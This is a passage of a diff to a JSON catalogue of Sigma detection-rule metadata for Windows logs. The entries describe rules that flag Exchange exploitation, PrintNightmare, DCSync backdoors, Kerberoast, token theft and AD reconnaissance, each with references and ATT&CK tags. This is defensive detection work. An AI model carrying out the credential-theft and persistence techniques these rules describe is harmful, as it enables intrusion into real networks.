"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_delete_rule.yml", + "author": "frack113", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The Windows Firewall service failed to load Group Policy.", + "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39", + "value": "Failed to Load Policy in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_failed.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Windows Firewall has been reset to its default configuration.", + "uuid": "04b60639-39c0-412a-9fbe-e82499c881a3", + "value": "Reset to Default Configuration Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_reset.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Setting have been change in Windows Firewall", + "uuid": "00bb5bd5-1379-4fcf-a965-a5b6f7478064", + "value": "Setting Change in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_setting_change.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible Active Directory enumeration via LDAP", + "uuid": "31d68132-4038-47c7-8f8e-635a39a7c174", + "value": "LDAP Reconnaissance / Active Directory Enumeration", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", + "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.002", + "attack.t1087.002", + "attack.t1482" + ], + "creation_date": "2021/06/22", + "filename": "win_ldap_recon.yml", + "author": "Adeem Mawani", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", + "uuid": "c92f1896-d1d2-43c3-92d5-7a5b35c217bb", + "value": "Possible Exploitation of Exchange RCE CVE-2021-42321", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_cve_2021_42321.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210" + ], + "creation_date": "2021/11/18", + "filename": "win_exchange_cve_2021_42321.yml", + "author": "Florian Roth, @testanull", + "level": "high", + "falsepositive": [ + "Unknown, please report false positives via https://github.com/SigmaHQ/sigma/issues" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", + "uuid": "550d3350-bb8a-4ff3-9533-2ba533f4a1c0", + "value": "ProxyLogon MSExchange OabVirtualDirectory", + "meta": { + "refs": [ + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ], + "creation_date": "2021/08/09", + "filename": "win_exchange_proxylogon_oabvirtualdir.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", + "uuid": "b7bc7038-638b-4ffd-880c-292c692209ef", + "value": "Certificate Request Export to Exchange Webserver", + "meta": { + "refs": [ + "https://twitter.com/GossiTheDog/status/1429175908905127938", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/08/23", + "filename": "win_exchange_proxyshell_certificate_generation.yml", + "author": "Max Altgelt", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", + "uuid": "516376b4-05cd-4122-bae0-ad7641c38d48", + "value": "Mailbox Export to Exchange Webserver", + "meta": { + "refs": [ + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/08/09", + "filename": "win_exchange_proxyshell_mailbox_export.yml", + "author": "Florian Roth, Rich Warren, Christian Burkard", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", + "uuid": "09570ae5-889e-43ea-aac0-0e1221fb3d95", + "value": "Remove Exported Mailbox from Exchange Webserver", + "meta": { + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2021/08/27", + "filename": "win_exchange_proxyshell_remove_mailbox_export.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", + "uuid": "9db37458-4df2-46a5-95ab-307e7f29e675", + "value": "Exchange Set OabVirtualDirectory ExternalUrl Property", + "meta": { + "refs": [ + "https://twitter.com/OTR_Community/status/1371053369071132675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/03/15", + "filename": "win_exchange_set_oabvirtualdirectory_externalurl.yml", + "author": "Jose Rodriguez @Cyb3rPandaH", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Installation of a Exchange Transport Agent", + "uuid": "4fe151c2-ecf9-4fae-95ae-b88ec9c2fca6", + "value": "MSExchange Transport Agent Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ], + "creation_date": "2021/06/08", + "filename": "win_exchange_transportagent.yml", + "author": "Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a failed installation of a Exchange Transport Agent", + "uuid": "c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa", + "value": "Failed MSExchange Transport Agent Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ], + "creation_date": "2021/06/08", + "filename": "win_exchange_transportagent_failed.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", + "uuid": "98c3bcf1-56f2-49dc-9d8d-c66cf190238b", + "value": "NTLM Logon", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/1004895028995477505", + "https://goo.gl/PsqrhT", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ], + "creation_date": "2018/06/08", + "filename": "win_susp_ntlm_auth.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Legacy hosts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects common NTLM brute force device names", + "uuid": "9c8acf1a-cbf9-4db6-b63c-74baabe03e59", + "value": "NTLM Brute Force", + "meta": { + "refs": [ + "https://www.varonis.com/blog/investigate-ntlm-brute-force", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/02/02", + "filename": "win_susp_ntlm_brute_force.yml", + "author": "Jerry Shockley '@jsh0x'", + "level": "medium", + "falsepositive": [ + "Systems with names equal to the spoofed ones used by the brute force tools" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", + "uuid": "ce5678bb-b9aa-4fb5-be4b-e57f686256ad", + "value": "Potential Remote Desktop Connection to Non-Domain Host", + "meta": { + "refs": [ + "n/a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2020/05/22", + "filename": "win_susp_ntlm_rdp.yml", + "author": "James Pemberton", + "level": "medium", + "falsepositive": [ + "Host connections to valid domains, exclude these.", + "Host connections not using host FQDN.", + "Host connections to external legitimate domains." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", + "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", + "value": "OpenSSH Server Listening On Socket", + "meta": { + "refs": [ + "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", + "https://winaero.com/enable-openssh-server-windows-10/", + "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", + "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.004" + ], + "creation_date": "2022/10/25", + "filename": "win_sshd_openssh_server_listening_on_socket.yml", + "author": "mdecrevoisier", + "level": "medium", + "falsepositive": [ + "Legitimate administrator activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", + "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", + "value": "Possible CVE-2021-1675 Print Spooler Exploitation", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://twitter.com/fuzzyf10w/status/1410202370835898371", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675" + ], + "creation_date": "2021/06/30", + "filename": "win_exploit_cve_2021_1675_printspooler.yml", + "author": "Florian Roth, KevTheHermit, fuzzyf10w, Tim Shelton", + "level": "high", + "falsepositive": [ + "Problems with printer drivers" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", + "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", + "value": "CVE-2021-1675 Print Spooler Exploitation", + "meta": { + "refs": [ + "https://twitter.com/MalwareJake/status/1410421967463731200", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675" + ], + "creation_date": "2021/07/01", + "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", + "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe", + "value": "Azure AD Health Monitoring Agent Registry Keys Access", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ], + "creation_date": "2021/08/26", + "filename": "win_security_aadhealth_mon_agent_regkey_access.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", + "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", + "value": "Azure AD Health Service Agents Registry Keys Access", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ], + "creation_date": "2021/08/26", + "filename": "win_security_aadhealth_svc_agent_regkey_access.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", + "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", + "value": "Access Token Abuse", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1134/001/", + "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", + "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1134.001" + ], + "creation_date": "2022/11/06", + "filename": "win_security_access_token_abuse.yml", + "author": "Michaela Adams, Zach Mathis", + "level": "medium", + "falsepositive": [ + "Anti-Virus" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", + "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f", + "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right", + "meta": { + "refs": [ + "https://twitter.com/menasec1/status/1111556090137903104", + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2019/04/03", + "filename": "win_security_account_backdoor_dcsync_rights.yml", + "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat", + "level": "high", + "falsepositive": [ + "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", + "uuid": "35ba1d85-724d-42a3-889f-2e2362bcaf23", + "value": "AD Privileged Users or Groups Reconnaissance", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_account_discovery.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "If source account name is not an admin then its super suspicious" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects certificate creation with template allowing risk permission subject", + "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", + "value": "ADCS Certificate Template Configuration Vulnerability", + "meta": { + "refs": [ + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ], + "creation_date": "2021/11/17", + "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml", + "author": "Orlinum , BlueDefenZer", + "level": "low", + "falsepositive": [ + "Administrator activity", + "Proxy SSL certificate with subject modification", + "Smart card enrollement" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", + "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", + "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU", + "meta": { + "refs": [ + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ], + "creation_date": "2021/11/17", + "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", + "author": "Orlinum , BlueDefenZer", + "level": "high", + "falsepositive": [ + "Administrator activity", + "Proxy SSL certificate with subject modification", + "Smart card enrollement" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", + "uuid": "20d96d95-5a20-4cf1-a483-f3bda8a7c037", + "value": "Add or Remove Computer from DC", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_add_remove_computer.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", + "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb", + "value": "User with Privileges Logon", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_admin_logon.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect remote login by Administrator user (depending on internal pattern).", + "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", + "value": "Admin User Remote Logon", + "meta": { + "refs": [ + "https://car.mitre.org/wiki/CAR-2016-04-005", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1078.001", + "attack.t1078.002", + "attack.t1078.003", + "car.2016-04-005" + ], + "creation_date": "2017/10/29", + "filename": "win_security_admin_rdp_login.yml", + "author": "juju4", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects access to $ADMIN share", + "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", + "value": "Access to ADMIN$ Share", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2017/03/04", + "filename": "win_security_admin_share_access.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects WRITE_DAC access to a domain object", + "uuid": "028c7842-4243-41cd-be6f-12f3cf1a26c7", + "value": "AD Object WriteDAC Access", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ], + "creation_date": "2019/09/12", + "filename": "win_security_ad_object_writedac_access.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", + "uuid": "17d619c1-e020-4347-957e-1d1207455c93", + "value": "Active Directory Replication from Non Machine Account", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.006" + ], + "creation_date": "2019/07/26", + "filename": "win_security_ad_replication_non_machine_account.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects access to a domain user from a non-machine account", + "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a", + "value": "AD User Enumeration", + "meta": { + "refs": [ + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", + "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2020/03/30", + "filename": "win_security_ad_user_enumeration.yml", + "author": "Maxime Thiebaut (@0xThiebaut)", + "level": "medium", + "falsepositive": [ + "Administrators configuring new users." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", + "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd", + "value": "Enabled User Right in AD to Control User Objects", + "meta": { + "refs": [ + "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2017/07/30", + "filename": "win_security_alert_active_directory_user_control.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", + "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", + "value": "Active Directory User Backdoors", + "meta": { + "refs": [ + "https://msdn.microsoft.com/en-us/library/cc220234.aspx", + "https://adsecurity.org/?p=3466", + "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" + ], + "tags": [ + "attack.t1098", + "attack.persistence" + ], + "creation_date": "2017/04/13", + "filename": "win_security_alert_ad_user_backdoors.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", + "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd", + "value": "Weak Encryption Enabled and Kerberoast", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2053", + "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2017/07/30", + "filename": "win_security_alert_enable_weak_encryption.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This events that are generated when using the hacktool Ruler by Sensepost", + "uuid": "24549159-ac1b-479c-8175-d42aea947cae", + "value": "Hacktool Ruler", + "meta": { + "refs": [ + "https://github.com/sensepost/ruler", + "https://github.com/sensepost/ruler/issues/47", + "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1087", + "attack.t1114", + "attack.t1059", + "attack.t1550.002" + ], + "creation_date": "2017/05/31", + "filename": "win_security_alert_ruler.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Go utilities that use staaldraad awesome NTLM library" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + 